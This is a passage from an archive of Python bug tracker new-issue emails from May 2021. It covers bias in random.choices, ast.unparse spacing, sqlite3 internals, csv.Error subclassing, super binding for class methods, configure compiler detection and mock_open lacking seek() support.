Problem: Random.choices() never returns sequence entries at large
odd indices. For example:

>>> import random
>>> [x % 2 for x in random.choices(range(2**53), k=20)]
[0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1]
>>> [x % 2 for x in random.choices(range(2**54), k=20)]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

This might require a 64-bit build.

Possible solutions:

1) Do nothing.

    Document the quirk, and recommend using
    [seq[randrange(len(seq))] for i in range(k)]

2) Use integer arithmetic rather than random().

    Using _randbelow() in the unweighted case alone breaks
    test_random.test_choices_algorithms(), but adding a case for
    `if isinstance(total, int)` and using _randbelow() there as
    well creates a difference between the reproducability
    of weights=[1]*n versus weights=[1.0]*n.

3) Raise an Exception or Warning when loss of precision is likely to occur.

    Something like `if n > 2.0 ** BPF: raise OverFlowError(...)`.
    All smaller integers are exactly representable, but that doesn't
    quite eliminate the bias (see below).


-----------------------

There is bias in random.choices() even when n <= 2**53:

>>> Counter(val % 3 for val in
...         choices(range(2**53 - 2**51), k=1_000_000))
Counter({1: 374976, 0: 333613, 2: 291411})

>>> Counter(val % 3 for val in
...         choices(range(2**53 - 2**51), k=1_000_000)
...         if val < 2**51)
Counter({0: 166669, 1: 83664, 2: 83293})


For some explanation, imagine floats have
only 3 bits of precision. Then random.choices() would do something
like this on a sequence of length 7:

# Random 3-significant-bit floats
def random():
    return randrange(8) / 8

# selecting from a pool of size 2**BPF - 1
>>> Counter(floor(random() * 7) for _ in range(1_000_000))
Counter({0: 249566, 5: 125388, 6: 125251, 2: 125202, 1: 125149, 3: 124994, 4: 124450})

Issue: both 0/8 and 7/8 fall in [0, 1).

Similar biases:

>>> Counter(floor(randrange(16)/16*15) for _ in range(1_000_000))
Counter({0: 124549, 5: 62812, 14: 62807, 6: 62766, 10: 62740, 3: 62716, 12: 62658, 13: 62649, 9: 62473, 8: 62376, 2: 62373, 4: 62346, 11: 62293, 1: 62278, 7: 62164})

>>> Counter(floor(randrange(16)/16*14) for _ in range(1_000_000))
Counter({7: 125505, 0: 124962, 11: 62767, 9: 62728, 6: 62692, 10: 62684, 4: 62625, 3: 62465, 12: 62428, 13: 62397, 2: 62332, 8: 62212, 5: 62176, 1: 62027})

>>> def bias(bits, n):
...     c = Counter(floor(randrange(2**bits)/(2**bits) * n)
...                 for _ in range(1_000_000))
...     m = min(c.values())
...     preferred = [k for k, v in c.items() if v / m > 1.5]
...     preferred.sort()
...     return preferred

>>> bias(bits=4, n=15)
[0]
>>> bias(bits=4, n=14)
[0, 7]
>>> bias(bits=8, n=250)
[0, 41, 83, 125, 166, 208]

# Observation of which numbers may be biased toward
# I have no proof that this is universally true
>>> [250 * i // (2**8 - 250) for i in range(6)]
[0, 41, 83, 125, 166, 208]

If using the OverflowError approach, I think using a threshold of 2**BPF/2
would only make some "bins" (indices) have 1.5x the probability of
others rather than 2x, and thus would not remove the problem either.

----------
components: Library (Lib)
messages: 393285
nosy: Dennis Sweeney, rhettinger
priority: normal
severity: normal
status: open
title: Bias in random.choices(long_sequence)
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44080>
_______________________________________

From report at bugs.python.org  Sat May  8 19:38:15 2021
From: report at bugs.python.org (Batuhan Taskaya)
Date: Sat, 08 May 2021 23:38:15 +0000
Subject: [New-bugs-announce] [issue44081] ast.unparse: dont use redundant
 space separator for lambdas with no parameters
Message-ID: <1620517095.39.0.166538453472.issue44081@roundup.psfhosted.org>


New submission from Batuhan Taskaya <isidentical at gmail.com>:

Previously:

>>> import ast
>>> ast.unparse(ast.parse("lambda: 'hey!'"))
"lambda : 'hey!'"

Expected:

>>> import ast
>>> ast.unparse(ast.parse("lambda: 'hey!'"))
"lambda: 'hey!'"

----------
assignee: BTaskaya
components: Library (Lib)
messages: 393288
nosy: BTaskaya
priority: normal
severity: normal
status: open
title: ast.unparse: dont use redundant space separator for lambdas with no parameters
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44081>
_______________________________________

From report at bugs.python.org  Sat May  8 21:45:37 2021
From: report at bugs.python.org (Munir Contractor)
Date: Sun, 09 May 2021 01:45:37 +0000
Subject: [New-bugs-announce] [issue44082] Add a method to check
 interpolation errors in configparser
Message-ID: <1620524737.05.0.00614146924922.issue44082@roundup.psfhosted.org>


New submission from Munir Contractor <munircontractor at gmail.com>:

Currently, the interpolation of values is done lazily in ConfigParser, only when the value is read. The documentation for this can be improved and also a method to check for such errors can be provided. Providing such a method can help with tests and detecting potential problems earlier in an application.

----------
components: Library (Lib)
messages: 393291
nosy: lukasz.langa, munircontractor
priority: normal
severity: normal
status: open
title: Add a method to check interpolation errors in configparser
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44082>
_______________________________________

From report at bugs.python.org  Sun May  9 02:37:06 2021
From: report at bugs.python.org (Swarnila Chakma)
Date: Sun, 09 May 2021 06:37:06 +0000
Subject: [New-bugs-announce] [issue44083] problem with updated 3.9.5
Message-ID: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org>


New submission from Swarnila Chakma <swarnila707 at gmail.com>:

the codes were running okay with the version 3.9.4. But yesterday after updating the new version 3.9.5, the same codes are showing error. For example, if I were to write a code about swapping numbers, i write the code:

print('Enter two variables')
a = input() #suppose 2 nilam
b = input()#suppose 3 nilam
x = int(a)
y = int(b)
x = x-y #now we stored value of x-y in x variable
y = x+y #now we stored value of x+y in y variable
x = y-x
print(x)
print(y)

And I get the following output:

File "C:/Users/Asus/PycharmProjects/celsius to fahrenheit/main.py", line 4, in <module>
    x = int(a)
ValueError: invalid literal for int() with base 10: ''

I tried reinstalling the version 3.9.4, but it's the same result. It would be appreciable if it can be solved soon.

----------
components: Windows
files: main.py
messages: 393299
nosy: paul.moore, steve.dower, swarnila707, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: problem with updated 3.9.5
versions: Python 3.9
Added file: https://bugs.python.org/file50026/main.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44083>
_______________________________________

From report at bugs.python.org  Sun May  9 02:49:40 2021
From: report at bugs.python.org (Tal Einat)
Date: Sun, 09 May 2021 06:49:40 +0000
Subject: [New-bugs-announce] [issue44084] Can't mark match, case,
 _ as keywords in docs
Message-ID: <1620542980.52.0.707303221458.issue44084@roundup.psfhosted.org>


New submission from Tal Einat <taleinat+python at gmail.com>:

Beginning in Python 3.10, `match`, `case` and `_` are "soft keywords", i.e. they are considered keywords only in specific parts of the syntax.

However, they cannot be tagged with a :keyword:`...` role in our docs.

This appears to be due to not appearing in the list of keywords in the Python lexer in Pygments, which is used by Sphinx.

I've opened an issue on the Pygments repo about this:
https://github.com/pygments/pygments/issues/1797

----------
assignee: docs at python
components: Documentation
messages: 393301
nosy: docs at python, taleinat
priority: normal
severity: normal
status: open
title: Can't mark match, case, _ as keywords in docs
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44084>
_______________________________________

From report at bugs.python.org  Sun May  9 03:22:12 2021
From: report at bugs.python.org (Pierre Quentel)
Date: Sun, 09 May 2021 07:22:12 +0000
Subject: [New-bugs-announce] [issue44085] Remaining invalid rules in
 simplified grammar
Message-ID: <1620544932.02.0.824367979604.issue44085@roundup.psfhosted.org>


New submission from Pierre Quentel <pierre.quentel at gmail.com>:

In the simplified version of Python grammar at https://docs.python.org/3.10/reference/grammar.html, most 'invalid_<rule>' from the complete grammar at https://github.com/python/cpython/blob/3.10/Grammar/python.gram have been removed, but 2 of them remain :

primary:
    | invalid_primary  # must be before 'primay genexp' because of invalid_genexp

dict:
    | '{' invalid_double_starred_kvpairs '}'

I suppose that the simplified version is extracted from the complete grammar with a program, and this program doesn't detect the 'invalid_<rule>' that don't end the line, since these 2 occurrences correspond to the only such lines in the complete grammar

primary[expr_ty]:
    | invalid_primary  # must be before 'primay genexp' because of invalid_genexp

dict[expr_ty]:
    | '{' invalid_double_starred_kvpairs '}'

Also note the typo in the comment : 'primay genexp' instead of 'primary genexp'

----------
assignee: docs at python
components: Documentation
messages: 393306
nosy: docs at python, quentel
priority: normal
severity: normal
status: open
title: Remaining invalid rules in simplified grammar
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44085>
_______________________________________

From report at bugs.python.org  Sun May  9 04:09:32 2021
From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=)
Date: Sun, 09 May 2021 08:09:32 +0000
Subject: [New-bugs-announce] [issue44086] py.svg not found on search result
 page
Message-ID: <1620547772.17.0.508053866958.issue44086@roundup.psfhosted.org>


New submission from J?rgen Gmach <juergen.gmach at googlemail.com>:

repro: 
- go to docs (Python 3.11)
- open dev console in browser
- search for e.g ."xml rpc"
-> 404 py.svg not found


or open dev console and got to this URL directly:
https://docs.python.org/3.11/search.html?q=xml+rpc

P.S.: No 404 for the docs on 3.10

----------
assignee: docs at python
components: Documentation
files: Screenshot from 2021-05-09 10-04-17.png
messages: 393308
nosy: docs at python, jugmac00
priority: normal
severity: normal
status: open
title: py.svg not found on search result page
versions: Python 3.11
Added file: https://bugs.python.org/file50027/Screenshot from 2021-05-09 10-04-17.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44086>
_______________________________________

From report at bugs.python.org  Sun May  9 04:28:09 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sun, 09 May 2021 08:28:09 +0000
Subject: [New-bugs-announce] [issue44087] [sqlite3] consider adding
 Py_TPFLAGS_DISALLOW_INSTANTIATION to sqlite3.Statement
Message-ID: <1620548889.46.0.572288085506.issue44087@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

Currently, the sqlite3.Statement type is not exposed in the module dict:

>>> import sqlite3
>>> sqlite3.Statement
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/sqlite3/__init__.py", line 37, in __getattr__
    raise AttributeError(f"module 'sqlite3' has no attribute '{name}'")
AttributeError: module 'sqlite3' has no attribute 'Statement'


It is possible to extract it using this trick:
>>> cx = sqlite3.connect(":memory:")
>>> stmt = cx("select 1")
>>> type(stmt)
<class 'sqlite3.Statement'>
>>> type(stmt)()
<sqlite3.Statement object at 0x109006b30>

There is no use case for this; statement objects belong to the internal workings of the sqlite3 module. I suggest adding Py_TPFLAGS_DISALLOW_INSTANTIATION to make this fact more explicit.

----------
keywords: easy (C)
messages: 393310
nosy: berker.peksag, erlendaasland, serhiy.storchaka
priority: normal
severity: normal
status: open
title: [sqlite3] consider adding Py_TPFLAGS_DISALLOW_INSTANTIATION to sqlite3.Statement
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44087>
_______________________________________

From report at bugs.python.org  Sun May  9 07:54:38 2021
From: report at bugs.python.org (Ned Batchelder)
Date: Sun, 09 May 2021 11:54:38 +0000
Subject: [New-bugs-announce] [issue44088] traced line number can be None
Message-ID: <1620561278.58.0.87704463996.issue44088@roundup.psfhosted.org>


New submission from Ned Batchelder <ned at nedbatchelder.com>:

Mark, I'm not clear if the line number can still be None in some circumstances. 

With this code (from site.py in the stdlib):

545: def execsitecustomize():
546:     """Run custom site specific code, if available."""
547:     try:
548:         try:
549:             import sitecustomize
550:         except ImportError as exc:
551:             if exc.name == 'sitecustomize':
552:                 pass
553:             else:
554:                 raise
555:     except Exception as err:
556:         if sys.flags.verbose:
557:             sys.excepthook(*sys.exc_info())
558:         else:
559:             sys.stderr.write(
560:                 "Error in sitecustomize; set PYTHONVERBOSE for traceback:\n"
561:                 "%s: %s\n" %
562:                 (err.__class__.__name__, err))

I get traces with these events and line numbers:

exception 549 (ModuleNotFoundError("No module named 'sitecustomize'"))
line 550
line 551
line 552
return None

Is this what you expected?

----------
assignee: Mark.Shannon
messages: 393319
nosy: Mark.Shannon, nedbat
priority: normal
severity: normal
status: open
title: traced line number can be None
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44088>
_______________________________________

From report at bugs.python.org  Sun May  9 08:15:42 2021
From: report at bugs.python.org (Oleg Hoefling)
Date: Sun, 09 May 2021 12:15:42 +0000
Subject: [New-bugs-announce] [issue44089] csv.Error can't be subclassed
Message-ID: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org>


New submission from Oleg Hoefling <oleg.hoefling at gmail.com>:

Due to changes introduced in https://bugs.python.org/issue14935 the `csv.Error` can't be subclassed in 3.10. To reproduce:

Python 3.9.4 (default, Apr  6 2021, 00:00:00)
>>> import csv
>>> class C(csv.Error):
...     pass


Python 3.10.0b1 (default, May  4 2021, 00:00:00)
>>> import csv
>>> class C(csv.Error):
...     pass
... 
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: type '_csv.Error' is not an acceptable base type

----------
components: Extension Modules
messages: 393320
nosy: hoefling
priority: normal
severity: normal
status: open
title: csv.Error can't be subclassed
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44089>
_______________________________________

From report at bugs.python.org  Sun May  9 13:02:11 2021
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Sun, 09 May 2021 17:02:11 +0000
Subject: [New-bugs-announce] [issue44090] Add class binding to unbound super
 objects for allowing autosuper with class methods
Message-ID: <1620579731.61.0.112222809206.issue44090@roundup.psfhosted.org>


New submission from G?ry <gery.ogam at gmail.com>:

A use case of one-argument `super` (aka unbound `super`) is Guido van Rossum?s autosuper described in his 2002 article [*Unifying types and classes in Python 2.2*](https://www.python.org/download/releases/2.2.3/descrintro/#cooperation).

It works with functions, but not with `classmethod` as Michele Simionato noted in his 2008 article [*Things to Know About Python Super*](https://www.artima.com/weblogs/viewpost.jsp?thread=236278).

I suggest fixing this by updating the method `super.__get__` to bind an unbound `super` object to the argument `owner` when there is no argument `instance` to bind to. Here is the patch applied to the C function [super_descr_get](https://github.com/python/cpython/blob/v3.9.5/Objects/typeobject.c#L8029-L8061) in Objects/typeobject.c, given in pure Python for better readability:

```python
    def __get__(self, instance, owner=None):
        if instance is None and owner is None:
            raise TypeError('__get__(None, None) is invalid')
-       if instance is None or self.__self__ is not None:
+       if self.__self__ is not None:
            return self
+       if instance is None:
+           return type(self)(self.__thisclass__, owner)
        return type(self)(self.__thisclass__, instance)
```

Demonstration:

```python
>>> class A:
...     def f(self): return 'A.f'
...     @classmethod
...     def g(cls): return 'A.g'
... 
>>> class B(A):
...     def f(self): return 'B.f ' + self.__super.f()
...     @classmethod
...     def g(cls): return 'B.g ' + cls.__super.g()
... 
>>> B._B__super = super(B)  # the CURRENT broken version of super
>>> print(B().f())  # function succeeds (instance binding)
B.f A.f
>>> print(B.g())    # classmethod fails (no binding)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 4, in g
AttributeError: 'super' object has no attribute 'g'
>>> B._B__super = super(B)  # the PROPOSED fixed version of super
>>> print(B().f())  # function succeeds (instance binding)
B.f A.f
>>> print(B.g())    # classmethod succeeds (class binding)
B.g A.g
```

----------
components: Interpreter Core
messages: 393326
nosy: maggyero
priority: normal
severity: normal
status: open
title: Add class binding to unbound super objects for allowing autosuper with class methods
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44090>
_______________________________________

From report at bugs.python.org  Sun May  9 13:15:30 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Sun, 09 May 2021 17:15:30 +0000
Subject: [New-bugs-announce] [issue44091] traceback & inspect modules should
 verify that the .py source file matches the one that the running process is
 using
Message-ID: <1620580530.62.0.599288030317.issue44091@roundup.psfhosted.org>


New submission from Gregory P. Smith <greg at krypto.org>:

A long-standing wart in Python is that once a module is loaded, when rendering a traceback and including source lines, we do not verify if the source file we're loading is the same as the one representing the code we are running.

It could have been replaced.  As is normal during software upgrades.

If our code was loaded from .py source, we should be recording the timestamp/size||hash of the source file and referencing that from each code object.  If our code was loaded from a .pyc source, the .pyc already contains a timestamp/size||hash for the corresponding .py source file that could be referenced.

When traceback.StackSummary and FrameSummary use the linecache module, we should plumb this source metainfo in from the relevant code object.

A traceback being rendered with potentially modified source code could choose to omit the source lines, or at least annotate them with a "  ## this source {timestamp/size||hash} does not match the running code {timestamp/size||hash}." marker so that anyone seeing the traceback knows the displayed line may not be trustworthy.  (If the pyc was written using the "unchecked-hash" mode, no source/pyc synchronization check should be made)

The inspect module also needs the ability to do indicate this to the caller.

----------
components: Library (Lib)
messages: 393328
nosy: gregory.p.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: traceback & inspect modules should verify that the .py source file matches the one that the running process is using
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44091>
_______________________________________

From report at bugs.python.org  Sun May  9 17:36:02 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Sun, 09 May 2021 21:36:02 +0000
Subject: [New-bugs-announce] [issue44092] [sqlite3] consider removing
 special rollback handling
Message-ID: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

Ref. bpo-33376 and bpo-10513.

Quoting from the SQLite 3.7.11 changelog[1]:
"Pending statements no longer block ROLLBACK. Instead, the pending statement will return SQLITE_ABORT upon next access after the ROLLBACK."

Quoting from the SQLite 3.8.7.2 changelog[2]:
"Enhance the ROLLBACK command so that pending queries are allowed to continue as long as the schema is unchanged. Formerly, a ROLLBACK would cause all pending queries to fail with an SQLITE_ABORT or SQLITE_ABORT_ROLLBACK error. That error is still returned if the ROLLBACK modifies the schema."

Quoting from the SQLite docs[3]:
"In more recent versions of SQLite, the ROLLBACK will proceed and pending statements will often be aborted, causing them to return an SQLITE_ABORT or SQLITE_ABORT_ROLLBACK error. In SQLite version 3.8.8 (2015-01-16) and later, a pending read will continue functioning after the ROLLBACK as long as the ROLLBACK does not modify the database schema."

I've done some tests with SQLite versions 3.35.4 and 3.7.15 where I've removed the call to pysqlite_do_all_statements() (introduced by [4]) in pysqlite_connection_rollback_impl(), and I've also removed the pysqlite_Cursor.reset member and all of the related code. The test suite passes fine (except for, as expected, the two tests that check for InterfaceError in case of fetch across rollback).

Do we really need to special case rollbacks anymore? I've tried to come up with tests that prove this approach wrong, but I haven't found any yet.


[1] https://sqlite.org/changes.html#version_3_7_11
[2] https://sqlite.org/changes.html#version_3_8_7_2
[3] https://www.sqlite.org/lang_transaction.html
[4] https://github.com/ghaering/pysqlite/commit/95f0956d9a78750ac8b5ca54f028b5f8d8db0abb

----------
components: Extension Modules
messages: 393338
nosy: berker.peksag, erlendaasland, lemburg, serhiy.storchaka
priority: normal
severity: normal
status: open
title: [sqlite3] consider removing special rollback handling
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44092>
_______________________________________

From report at bugs.python.org  Sun May  9 23:01:36 2021
From: report at bugs.python.org (Rishav Kundu)
Date: Mon, 10 May 2021 03:01:36 +0000
Subject: [New-bugs-announce] [issue44093] compiler detection on macOS seems
 to be incorrect
Message-ID: <1620615696.74.0.363750017848.issue44093@roundup.psfhosted.org>


New submission from Rishav Kundu <rishav.kundu98 at gmail.com>:

On macOS devices, the configure script seems to always detect gcc, even though Apple does not ship with gcc ? the gcc binary is simply a wrapper around clang (probably llvm-gcc?)

I believe the issue is with these lines.

https://github.com/python/cpython/blob/8e8307d70bb9dc18cfeeed3277c076309b27515e/configure.ac#L630-L635

Concretely, gcc ?-version produces this on my computer:

$ gcc --version
Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/c++/4.2.1
Apple clang version 12.0.5 (clang-1205.0.22.9)
Target: x86_64-apple-darwin20.4.0
Thread model: posix
InstalledDir: /Library/Developer/CommandLineTools/usr/bin

Perhaps an additional check for ?clang? would solve the issue.

----------
components: Build
messages: 393346
nosy: xrisk
priority: normal
severity: normal
status: open
title: compiler detection on macOS seems to be incorrect
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44093>
_______________________________________

From report at bugs.python.org  Mon May 10 01:07:02 2021
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 10 May 2021 05:07:02 +0000
Subject: [New-bugs-announce] [issue44094] Remove
 PyErr_Set...WithUnicodeFilename APIs
Message-ID: <1620623222.39.0.271042914015.issue44094@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

These APIs are deprecated since Python 3.3. They are not documented too.

```
#ifdef MS_WINDOWS
Py_DEPRECATED(3.3)
PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithUnicodeFilename(
    PyObject *, const Py_UNICODE *);

/* XXX redeclare to use WSTRING */
Py_DEPRECATED(3.3)
PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErrWithUnicodeFilename(
    int, const Py_UNICODE *);
Py_DEPRECATED(3.3)
PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithUnicodeFilename(
    PyObject *,int, const Py_UNICODE *);
#endif
```

----------
components: C API
messages: 393351
nosy: methane
priority: normal
severity: normal
status: open
title: Remove PyErr_Set...WithUnicodeFilename APIs
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44094>
_______________________________________

From report at bugs.python.org  Mon May 10 01:29:23 2021
From: report at bugs.python.org (Jakub Nowak)
Date: Mon, 10 May 2021 05:29:23 +0000
Subject: [New-bugs-announce] [issue44095] Add suffix property to zipfile.Path
Message-ID: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org>


New submission from Jakub Nowak <jakub.jakub.nowak at gmail.com>:

suffix property is present on pathlib.Path (specifically pathlib.PurePath) and it could also be added to zipfile.Path for consistency.

My use case is filtering files by suffix:
    patch_files = list(filter(lambda file: file.suffix == '.patch', files))

Besides suffix also most of the other pathlib.PurePath properties and methods could be added.

----------
components: Library (Lib)
messages: 393352
nosy: MrQubo
priority: normal
severity: normal
status: open
title: Add suffix property to zipfile.Path
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44095>
_______________________________________

From report at bugs.python.org  Mon May 10 01:58:28 2021
From: report at bugs.python.org (Rishav Kundu)
Date: Mon, 10 May 2021 05:58:28 +0000
Subject: [New-bugs-announce] [issue44096] Bad clang detection in configure
 script
Message-ID: <1620626308.35.0.845113393607.issue44096@roundup.psfhosted.org>


New submission from Rishav Kundu <rishav.kundu98 at gmail.com>:

Because autoconf detects `cc` before `clang` [1], this means that most of the checks in configure.ac that compare $CC to `clang` don?t work. This in turn means that things like LTO and PGO don?t work ? the appropriate compiler options do not get set.

I can write a patch if someone can reproduce this.

[1]: https://www.gnu.org/software/autoconf/manual/autoconf-2.62/html_node/C-Compiler.html

----------
components: Build
messages: 393354
nosy: xrisk
priority: normal
severity: normal
status: open
title: Bad clang detection in configure script

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44096>
_______________________________________

From report at bugs.python.org  Mon May 10 03:42:30 2021
From: report at bugs.python.org (Peixing Xin)
Date: Mon, 10 May 2021 07:42:30 +0000
Subject: [New-bugs-announce] [issue44097] add configure option to control
 the groups of .pyc files to install
Message-ID: <1620632550.11.0.525760878528.issue44097@roundup.psfhosted.org>


New submission from Peixing Xin <peixing.xin at windriver.com>:

Currently when building and installing Python out of source, unoptimized .pyc files and 2 types of optimized .pyc files(*.opt-1.pyc and *.opt-2.pyc) are all compiled out and installed. So to reduce package size and build and installation time, we should provide an option in configure to control the groups of .pyc files to install. For  distribution case, normally only one type of .pyc files even none is needed.

----------
components: Build
messages: 393356
nosy: pxinwr
priority: normal
pull_requests: 24663
severity: normal
status: open
title: add configure option to control the groups of .pyc files to install
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44097>
_______________________________________

From report at bugs.python.org  Mon May 10 05:41:35 2021
From: report at bugs.python.org (Ken Jin)
Date: Mon, 10 May 2021 09:41:35 +0000
Subject: [New-bugs-announce] [issue44098] Remove ParamSpec from
 __parameters__ of most typing generics
Message-ID: <1620639695.98.0.0136931922016.issue44098@roundup.psfhosted.org>


New submission from Ken Jin <kenjin4096 at gmail.com>:

``typing.List`` includes ``ParamSpec`` in ``__parameters__`` but the builtin ``list`` doesn't. The behavior of the latter is correct, as PEP 612 states that: "As before, parameters_expressions by themselves are not acceptable in places where a type is expected".

https://www.python.org/dev/peps/pep-0612/#valid-use-locations

This patch just makes the typing version same as the builtin version by excluding ``ParamSpec`` from ``__parameters__`` (except for Concatenate, Callable, and Generic).

----------
assignee: kj
components: Library (Lib)
messages: 393373
nosy: gvanrossum, kj, levkivskyi
priority: normal
severity: normal
status: open
title: Remove ParamSpec from __parameters__ of most typing generics
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44098>
_______________________________________

From report at bugs.python.org  Mon May 10 05:49:59 2021
From: report at bugs.python.org (Shreyan Avigyan)
Date: Mon, 10 May 2021 09:49:59 +0000
Subject: [New-bugs-announce] [issue44099] Introduce a new slot in
 PyModuleDef to hold the classes
Message-ID: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org>


New submission from Shreyan Avigyan <shreyan.avigyan at gmail.com>:

It's tedious to add classes one by one using PyModule_AddObject in PyInit_module function. Wouldn't it be much easier if there's a slot that has an array of all the classes in their PyObject form and it'll automatically add those classes. Since this is a backwards compatibility change it'll be best if a macro (like PY_AUTO_OBJECT maybe?) is defined then it'll add those classes automatically. If the slot is NULL or 0 then don't add anything. But yeah they may add more classes if they want but it doesn't matter much.

Thanking you,

With Regards,
Shreyan Avigyan

----------
components: C API, Extension Modules
messages: 393374
nosy: shreyanavigyan
priority: normal
severity: normal
status: open
title: Introduce a new slot in PyModuleDef to hold the classes
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44099>
_______________________________________

From report at bugs.python.org  Mon May 10 07:05:25 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 10 May 2021 11:05:25 +0000
Subject: [New-bugs-announce] [issue44100] test_subinterpreters fails in
 AMD64 Fedora Stable 3.x
Message-ID: <1620644725.63.0.173508722704.issue44100@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

Example failure:

https://buildbot.python.org/all/#/builders/543/builds/133

test_already_destroyed (test.test__xxsubinterpreters.DestroyTests) ... ok
test_bad_id (test.test__xxsubinterpreters.DestroyTests) ... ok
test_does_not_exist (test.test__xxsubinterpreters.DestroyTests) ... ok
test_from_current (test.test__xxsubinterpreters.DestroyTests) ... ok
test_from_other_thread (test.test__xxsubinterpreters.DestroyTests) ... ok
test_from_sibling (test.test__xxsubinterpreters.DestroyTests) ... ok
test_main (test.test__xxsubinterpreters.DestroyTests) ... ok
test_one (test.test__xxsubinterpreters.DestroyTests) ... ok
Fatal Python error: Py_EndInterpreter: thread still has a frame
Python runtime state: initialized
Thread 0x00007f0b28968740 (most recent call first):
  File "<string>", line 4 in <module>
make: *** [Makefile:1249: buildbottest] Aborted (core dumped)
program finished with exit code 2
elapsedTime=385.730409
test_still_running (test.test__xxsubinterpreters.DestroyTests) ...

----------
messages: 393375
nosy: eric.snow, pablogsal, vstinner
priority: normal
severity: normal
status: open
title: test_subinterpreters fails in AMD64 Fedora Stable 3.x
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44100>
_______________________________________

From report at bugs.python.org  Mon May 10 07:27:58 2021
From: report at bugs.python.org (Christian Rendina)
Date: Mon, 10 May 2021 11:27:58 +0000
Subject: [New-bugs-announce] [issue44101] Generation of an executable's
 library file when python is built is static
Message-ID: <1620646078.98.0.57549919171.issue44101@roundup.psfhosted.org>


New submission from Christian Rendina <christian.rendina at gmail.com>:

When linking any windows application with pythoncore built as a static library, such executable will automatically export all python c api functions and generate a static library.

Exporting functions from a static library is a strange behavour, as I am not aware of any reason why dllimport/export should be used when building a static library.

This behavour oncurrs because python's export.h doesn't know when the library is linked as shared or static.

I have attached a patch that should fix this issue.
Tested under Windows 10 + VS2019, a static linkage of Python3 does not produce any library file anymore, and such exports are no longer visible with Dependencies.

I would like to apology if I got any tag wrong, as it's my first issue here.

----------
components: Windows
files: prop.patch
keywords: patch
messages: 393377
nosy: lakor64, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Generation of an executable's library file when python is built is static
type: behavior
versions: Python 3.11
Added file: https://bugs.python.org/file50031/prop.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44101>
_______________________________________

From report at bugs.python.org  Mon May 10 07:32:27 2021
From: report at bugs.python.org (Niko)
Date: Mon, 10 May 2021 11:32:27 +0000
Subject: [New-bugs-announce] [issue44102] mock_open does not support the use
 of 'seek()'
Message-ID: <1620646347.61.0.780960917304.issue44102@roundup.psfhosted.org>


New submission from Niko <nikle at cendio.com>:

Using 'mock_open' to unit test a code that uses the 'seek()' function for the file object does not work. This would be a great addition for mock_open functionality as this use case happens occasionally.

Test file contains:
def test_one(self):
    with patch("builtins.open", mock_open(read_data="#123")):
        script.main()

Example script:
def main():
    with open('some/file', 'r') as f:
        print(f.read(1))
